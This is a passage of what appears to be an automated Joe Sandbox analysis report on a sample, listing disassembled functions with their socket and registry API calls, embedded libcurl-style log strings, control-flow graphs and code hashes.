                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: QueryValue$Open$AdaptersAddresses$CloseEnum
                                                          • String ID: DhcpDomain$Domain$PrimaryDNSSuffix$SearchList$Software\Policies\Microsoft\System\DNSClient$Software\Policies\Microsoft\Windows NT\DNSClient$System\CurrentControlSet\Services\Tcpip\Parameters$System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
                                                          • API String ID: 4281207131-1047472027
                                                          • Opcode ID: a8db1eab6b3626d18ccb01500ef07019da3fc3852edac6cd1133b9bcf06d182a
                                                          • Instruction ID: 619fd77a033328f915a02760797e083a5b28f17807b67e09ad9a5f32587d719c
                                                          • Opcode Fuzzy Hash: a8db1eab6b3626d18ccb01500ef07019da3fc3852edac6cd1133b9bcf06d182a
                                                          • Instruction Fuzzy Hash: EC728DB1604341AFE7209B24CC86FAB7BE8FF85700F144828F9859B291E775E945DB93
                                                          Function 0053A550 Relevance: 28.8, APIs: 1, Strings: 15, Instructions: 794COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • setsockopt.WS2_32(?,00000006,00000001,00000001,00000004), ref: 0053A832
                                                          Strings
                                                          • bind failed with errno %d: %s, xrefs: 0053B080
                                                          • @, xrefs: 0053AC42
                                                          • Trying [%s]:%d..., xrefs: 0053A689
                                                          • Name '%s' family %i resolved to '%s' family %i, xrefs: 0053ADAC
                                                          • Bind to local port %d failed, trying next, xrefs: 0053AFE5
                                                          • cf_socket_open() -> %d, fd=%d, xrefs: 0053A796
                                                          • sa_addr inet_ntop() failed with errno %d: %s, xrefs: 0053A6CE
                                                          • @, xrefs: 0053A8F4
                                                          • Couldn't bind to '%s' with errno %d: %s, xrefs: 0053AE1F
                                                          • Trying %s:%d..., xrefs: 0053A7C2, 0053A7DE
                                                          • Local port: %hu, xrefs: 0053AF28
                                                          • Couldn't bind to interface '%s' with errno %d: %s, xrefs: 0053AD0A
                                                          • cf-socket.c, xrefs: 0053A5CD, 0053A735
                                                          • Could not set TCP_NODELAY: %s, xrefs: 0053A871
                                                          • Local Interface %s is ip %s using address family %i, xrefs: 0053AE60
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: setsockopt
                                                          • String ID: Trying %s:%d...$ Trying [%s]:%d...$ @$ @$Bind to local port %d failed, trying next$Could not set TCP_NODELAY: %s$Couldn't bind to '%s' with errno %d: %s$Couldn't bind to interface '%s' with errno %d: %s$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$cf-socket.c$cf_socket_open() -> %d, fd=%d$sa_addr inet_ntop() failed with errno %d: %s
                                                          • API String ID: 3981526788-2373386790
                                                          • Opcode ID: 65d8a019ca053a2c1b5a4080911f95a0a630ceacec652221c5f90b0eda5e62d5
                                                          • Instruction ID: 6da106c4f15541a705b3b6666d622d834277e8f60f570d8b1199cf2d80697b4f
                                                          • Opcode Fuzzy Hash: 65d8a019ca053a2c1b5a4080911f95a0a630ceacec652221c5f90b0eda5e62d5
                                                          • Instruction Fuzzy Hash: 3062E371508341ABE721CF24C886FABBBE4FF95314F044929F98997292E771E845CB93
                                                          Function 005C9740 Relevance: 16.5, APIs: 3, Strings: 6, Instructions: 743registryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 933 5c9740-5c975b 934 5c975d-5c9768 call 5c78a0 933->934 935 5c9780-5c9782 933->935 944 5c976e-5c9770 934->944 945 5c99bb-5c99c0 934->945 936 5c9788-5c97a0 call 888e00 call 5c78a0 935->936 937 5c9914-5c994e call 888b70 RegOpenKeyExA 935->937 936->945 950 5c97a6-5c97c5 936->950 948 5c995a-5c9992 RegQueryValueExA RegCloseKey call 888b98 937->948 949 5c9950-5c9955 937->949 944->950 951 5c9772-5c977e 944->951 946 5c9a0c-5c9a15 945->946 963 5c9997-5c99b5 call 5c78a0 948->963 949->946 956 5c9827-5c9833 950->956 957 5c97c7-5c97e0 950->957 951->936 959 5c985f-5c9872 call 5c5ca0 956->959 960 5c9835-5c985c call 5be2b0 * 2 956->960 961 5c97f6-5c9809 957->961 962 5c97e2-5c97f3 call 888b50 957->962 973 5c9878-5c987d call 5c77b0 959->973 974 5c99f0 959->974 960->959 961->956 972 5c980b-5c9810 961->972 962->961 963->945 963->950 972->956 976 5c9812-5c9822 972->976 980 5c9882-5c9889 973->980 979 5c99f5-5c99fb call 5c5d00 974->979 976->946 988 5c99fe-5c9a09 979->988 980->979 984 5c988f-5c989b call 5b4fe0 980->984 984->974 992 5c98a1-5c98c3 call 888b50 call 5c78a0 984->992 988->946 997 5c98c9-5c98db call 5be2d0 992->997 998 5c99c2-5c99ed call 5be2b0 * 2 992->998 997->998 1003 5c98e1-5c98f0 call 5be2d0 997->1003 998->974 1003->998 1008 5c98f6-5c9905 call 5c63f0 1003->1008 1013 5c990b-5c990f 1008->1013 1014 5c9f66-5c9f7f call 5c5d00 1008->1014 1016 5c9a3f-5c9a5a call 5c6740 call 5c63f0 1013->1016 1014->988 1016->1014 1022 5c9a60-5c9a6e call 5c6d60 1016->1022 1025 5c9a1f-5c9a39 call 5c6840 call 5c63f0 1022->1025 1026 5c9a70-5c9a94 call 5c6200 call 5c67e0 call 5c6320 1022->1026 1025->1014 1025->1016 1037 5c9a16-5c9a19 1026->1037 1038 5c9a96-5c9ac6 call 5bd120 1026->1038 1037->1025 1039 5c9fc1 1037->1039 1044 5c9ac8-5c9adb call 5bd120 1038->1044 1045 5c9ae1-5c9af7 call 5bd190 1038->1045 1041 5c9fc5-5c9ffd call 5c5d00 call 5be2b0 * 2 1039->1041 1041->988 1044->1025 1044->1045 1045->1025 1051 5c9afd-5c9b09 call 5b4fe0 1045->1051 1051->1039 1057 5c9b0f-5c9b29 call 5be730 1051->1057 1062 5c9b2f-5c9b3a call 5c78a0 1057->1062 1063 5c9f84-5c9f88 1057->1063 1062->1063 1070 5c9b40-5c9b54 call 5be760 1062->1070 1065 5c9f95-5c9f99 1063->1065 1067 5c9f9b-5c9f9e 1065->1067 1068 5c9fa0-5c9fb6 call 5bebf0 * 2 1065->1068 1067->1039 1067->1068 1080 5c9fb7-5c9fbe 1068->1080 1076 5c9f8a-5c9f92 1070->1076 1077 5c9b5a-5c9b6e call 5be730 1070->1077 1076->1065 1083 5c9b8c-5c9b97 call 5c63f0 1077->1083 1084 5c9b70-5ca004 1077->1084 1080->1039 1092 5c9b9d-5c9bbf call 5c6740 call 5c63f0 1083->1092 1093 5c9c9a-5c9cab call 5bea00 1083->1093 1089 5ca015-5ca01d 1084->1089 1090 5ca01f-5ca022 1089->1090 1091 5ca024-5ca045 call 5bebf0 * 2 1089->1091 1090->1041 1090->1091 1091->1041 1092->1093 1111 5c9bc5-5c9bda call 5c6d60 1092->1111 1100 5c9f31-5c9f35 1093->1100 1101 5c9cb1-5c9ccd call 5bea00 call 5be960 1093->1101 1105 5c9f37-5c9f3a 1100->1105 1106 5c9f40-5c9f61 call 5bebf0 * 2 1100->1106 1119 5c9cfd-5c9d0e call 5be960 1101->1119 1120 5c9ccf 1101->1120 1105->1025 1105->1106 1106->1025 1111->1093 1122 5c9be0-5c9bf4 call 5c6200 call 5c67e0 1111->1122 1130 5c9d10 1119->1130 1131 5c9d53-5c9d55 1119->1131 1124 5c9cd1-5c9cec call 5be9f0 call 5be4a0 1120->1124 1122->1093 1139 5c9bfa-5c9c0b call 5c6320 1122->1139 1144 5c9cee-5c9cfb call 5be9d0 1124->1144 1145 5c9d47-5c9d51 1124->1145 1134 5c9d12-5c9d2d call 5be9f0 call 5be4a0 1130->1134 1137 5c9e69-5c9e8e call 5bea40 call 5be440 1131->1137 1162 5c9d2f-5c9d3c call 5be9d0 1134->1162 1163 5c9d5a-5c9d6f call 5be960 1134->1163 1158 5c9e94-5c9eaa call 5be3c0 1137->1158 1159 5c9e90-5c9e92 1137->1159 1155 5c9b75-5c9b86 call 5bea00 1139->1155 1156 5c9c11-5c9c1c call 5c7b70 1139->1156 1144->1119 1144->1124 1150 5c9dca-5c9ddb call 5be960 1145->1150 1167 5c9ddd-5c9ddf 1150->1167 1168 5c9e2e-5c9e36 1150->1168 1155->1083 1177 5c9f2d 1155->1177 1156->1083 1180 5c9c22-5c9c33 call 5be960 1156->1180 1186 5ca04a-5ca04c 1158->1186 1187 5c9eb0-5c9eb1 1158->1187 1165 5c9eb3-5c9ec4 call 5be9c0 1159->1165 1162->1134 1189 5c9d3e-5c9d42 1162->1189 1182 5c9d71-5c9d73 1163->1182 1183 5c9dc2 1163->1183 1165->1025 1194 5c9eca-5c9ed0 1165->1194 1176 5c9e06-5c9e21 call 5be9f0 call 5be4a0 1167->1176 1173 5c9e3d-5c9e5b call 5bebf0 * 2 1168->1173 1174 5c9e38-5c9e3b 1168->1174 1184 5c9e5e-5c9e67 1173->1184 1174->1173 1174->1184 1217 5c9de1-5c9dee call 5bec80 1176->1217 1218 5c9e23-5c9e2c call 5beac0 1176->1218 1177->1100 1203 5c9c35 1180->1203 1204 5c9c66-5c9c75 call 5c78a0 1180->1204 1192 5c9d9a-5c9db5 call 5be9f0 call 5be4a0 1182->1192 1183->1150 1184->1137 1184->1165 1197 5ca04e-5ca051 1186->1197 1198 5ca057-5ca070 call 5bebf0 * 2 1186->1198 1187->1165 1189->1137 1233 5c9d75-5c9d82 call 5bec80 1192->1233 1234 5c9db7-5c9dc0 call 5beac0 1192->1234 1201 5c9ee5-5c9ef2 call 5be9f0 1194->1201 1197->1039 1197->1198 1198->1080 1201->1025 1220 5c9ef8-5c9f0e call 5be440 1201->1220 1212 5c9c37-5c9c51 call 5be9f0 1203->1212 1225 5c9c7b-5c9c8f call 5be7c0 1204->1225 1226 5ca011 1204->1226 1212->1083 1243 5c9c57-5c9c64 call 5be9d0 1212->1243 1236 5c9df1-5c9e04 call 5be960 1217->1236 1218->1236 1241 5c9f10-5c9f26 call 5be3c0 1220->1241 1242 5c9ed2-5c9edf call 5be9e0 1220->1242 1225->1083 1246 5c9c95-5ca00e 1225->1246 1226->1089 1250 5c9d85-5c9d98 call 5be960 1233->1250 1234->1250 1236->1168 1236->1176 1241->1242 1259 5c9f28 1241->1259 1242->1025 1242->1201 1243->1204 1243->1212 1246->1226 1250->1183 1250->1192 1259->1039
                                                          APIs
                                                          • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 005C9946
                                                          • RegQueryValueExA.KERNELBASE(?,DatabasePath,00000000,00000000,?,00000104), ref: 005C9974
                                                          • RegCloseKey.KERNELBASE(?), ref: 005C998B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: CloseOpenQueryValue
                                                          • String ID: #$#$CARES_HOSTS$DatabasePath$System\CurrentControlSet\Services\Tcpip\Parameters$\hos
                                                          • API String ID: 3677997916-615551945
                                                          • Opcode ID: 27c553456a98a33d6b1878766a7daff8a20bf2c55955a8084a4f8dd5b9065e2c
                                                          • Instruction ID: 442f4e28215ce414e45f5258b6c16c2bf81e8fe8bbd7fb879cb6c7dab5071148
                                                          • Opcode Fuzzy Hash: 27c553456a98a33d6b1878766a7daff8a20bf2c55955a8084a4f8dd5b9065e2c
                                                          • Instruction Fuzzy Hash: BE3267B5904202AFEB11AB64AC4AF9B7E94BF95314F08483CF90A96253F731ED14D793
                                                          Function 00538B50 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 269networkCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1354 538b50-538b69 1355 538be6 1354->1355 1356 538b6b-538b74 1354->1356 1357 538be9 1355->1357 1358 538b76-538b8d 1356->1358 1359 538beb-538bf2 1356->1359 1357->1359 1360 538bf3-538bfe call 53a550 1358->1360 1361 538b8f-538ba7 call 516e40 1358->1361 1368 538de4-538def 1360->1368 1369 538c04-538c08 1360->1369 1366 538cd9-538d16 SleepEx 1361->1366 1367 538bad-538baf 1361->1367 1388 538d22 1366->1388 1389 538d18-538d20 1366->1389 1372 538ca6-538cb0 1367->1372 1373 538bb5-538bb9 1367->1373 1370 538df5-538e19 call 53a150 1368->1370 1371 538e8c-538e95 1368->1371 1374 538c0e-538c1d 1369->1374 1375 538dbd-538dc3 1369->1375 1410 538e1b-538e26 1370->1410 1411 538e88 1370->1411 1380 538f00-538f06 1371->1380 1381 538e97-538e9c 1371->1381 1372->1366 1376 538cb2-538cb8 1372->1376 1373->1359 1378 538bbb-538bc2 1373->1378 1382 538c35-538c48 call 53a150 1374->1382 1383 538c1f-538c30 connect 1374->1383 1375->1357 1384 538cbe-538cd4 call 53b180 1376->1384 1385 538ddc-538dde 1376->1385 1378->1359 1387 538bc4-538bcc 1378->1387 1380->1359 1390 538edf-538eef call 5078b0 1381->1390 1391 538e9e-538eb6 call 512a00 1381->1391 1409 538c4d-538c4f 1382->1409 1383->1382 1384->1368 1385->1357 1385->1368 1395 538bd4-538bda 1387->1395 1396 538bce-538bd2 1387->1396 1398 538d26-538d39 1388->1398 1389->1398 1413 538ef2-538efc 1390->1413 1391->1390 1408 538eb8-538edd call 513410 * 2 1391->1408 1395->1359 1403 538bdc-538be1 1395->1403 1396->1359 1396->1395 1406 538d43-538d61 call 51d8c0 call 53a150 1398->1406 1407 538d3b-538d3d 1398->1407 1412 538dac-538db8 call 5450a0 1403->1412 1429 538d66-538d74 1406->1429 1407->1385 1407->1406 1408->1413 1416 538c51-538c58 1409->1416 1417 538c8e-538c93 1409->1417 1418 538e28-538e2c 1410->1418 1419 538e2e-538e85 call 51d090 call 544fd0 1410->1419 1411->1371 1412->1359 1413->1380 1416->1417 1424 538c5a-538c62 1416->1424 1427 538c99-538c9f 1417->1427 1428 538dc8-538dd9 call 53b100 1417->1428 1418->1411 1418->1419 1419->1411 1430 538c64-538c68 1424->1430 1431 538c6a-538c70 1424->1431 1427->1372 1428->1385 1429->1359 1434 538d7a-538d81 1429->1434 1430->1417 1430->1431 1431->1417 1436 538c72-538c8b call 5450a0 1431->1436 1434->1359 1439 538d87-538d8f 1434->1439 1436->1417 1443 538d91-538d95 1439->1443 1444 538d9b-538da1 1439->1444 1443->1359 1443->1444 1444->1359 1447 538da7 1444->1447 1447->1412
                                                          APIs
                                                          • connect.WS2_32(?,?,00000001), ref: 00538C30
                                                          • SleepEx.KERNELBASE(00000000,00000000), ref: 00538CF3
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: Sleepconnect
                                                          • String ID: cf-socket.c$connect to %s port %u from %s port %d failed: %s$connected$local address %s port %d...$not connected yet
                                                          • API String ID: 238548546-879669977
                                                          • Opcode ID: 1cd9d5a88216794b70f6e7e92af5e69a4eb0f7f58cc9888ace96ff6cceb9735a
                                                          • Instruction ID: 6d54c24ab372709fbfa1bc6eb759728e9efde43e3c90c82e02aac006264bb3b6
                                                          • Opcode Fuzzy Hash: 1cd9d5a88216794b70f6e7e92af5e69a4eb0f7f58cc9888ace96ff6cceb9735a
                                                          • Instruction Fuzzy Hash: AEB19D70604306AFEB18CF24C995BB6BBE4BF95314F148928F8594B2D2DB71EC58C762
                                                          Function 00502F17 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 144registryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1448 502f17-502f8c call 98eb30 call 98ef20 1453 5031c9-5031cd 1448->1453 1454 502f91-502ff4 call 501619 RegOpenKeyExA 1453->1454 1455 5031d3-5031d6 1453->1455 1458 5031c5 1454->1458 1459 502ffa-50300b 1454->1459 1458->1453 1460 50315c-5031ac RegEnumKeyExA 1459->1460 1461 503010-503083 call 501619 RegOpenKeyExA 1460->1461 1462 5031b2-5031c2 RegCloseKey 1460->1462 1465 503089-5030d4 RegQueryValueExA 1461->1465 1466 50314e-503152 1461->1466 1462->1458 1467 5030d6-503137 call 98ee00 call 98ee90 call 98ef20 call 98ed30 call 98ef20 call 98d2a0 1465->1467 1468 50313b-50314b RegCloseKey 1465->1468 1466->1460 1467->1468 1468->1466
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: CloseEnumOpen
                                                          • String ID: d
                                                          • API String ID: 1332880857-2564639436
                                                          • Opcode ID: d9dbecbef06677ad0d4f97a1e5e1bef3fa6b10f4f5e0d993753f907c73ba4096
                                                          • Instruction ID: aa777348be3e3df3f609227cd7b459d3f631258abb87e8a800c9be50c389ffad
                                                          • Opcode Fuzzy Hash: d9dbecbef06677ad0d4f97a1e5e1bef3fa6b10f4f5e0d993753f907c73ba4096
                                                          • Instruction Fuzzy Hash: 4171A4B4904319DFDB10EF69C58479EBBF0BF84308F11886DE89897351E7749A888F92
                                                          Function 005076A0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 73networkCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1481 5076a0-5076be 1482 5076c0-5076c7 1481->1482 1483 5076e6-5076f2 send 1481->1483 1482->1483 1484 5076c9-5076d1 1482->1484 1485 5076f4-507709 call 5072a0 1483->1485 1486 50775e-507762 1483->1486 1487 5076d3-5076e4 1484->1487 1488 50770b-507759 call 5072a0 call 50cb20 call 888c50 1484->1488 1485->1486 1487->1485 1488->1486
                                                          APIs
                                                          • send.WS2_32(multi.c,?,?,?,N=P,00000000,?,?,005107BF), ref: 005076EB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: send
                                                          • String ID: LIMIT %s:%d %s reached memlimit$N=P$SEND %s:%d send(%lu) = %ld$multi.c$send
                                                          • API String ID: 2809346765-4069291208
                                                          • Opcode ID: 97eee7a65660098ddf7cce0f56d383da359f95a0681bd5c8948e161a5f1893df
                                                          • Instruction ID: 6eced960fdb0580353bb1a3da66668aa183a4a2d7d0d95d8657d0db66885f3e4
                                                          • Opcode Fuzzy Hash: 97eee7a65660098ddf7cce0f56d383da359f95a0681bd5c8948e161a5f1893df
                                                          • Instruction Fuzzy Hash: FF11EBB5E183497BD520DB159C8AF2F3F9CFBE6B68F4A0E18FC0413291D661AD1182B1
                                                          Function 00539290 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146networkCOMMON
                                                          Download Yara Rule

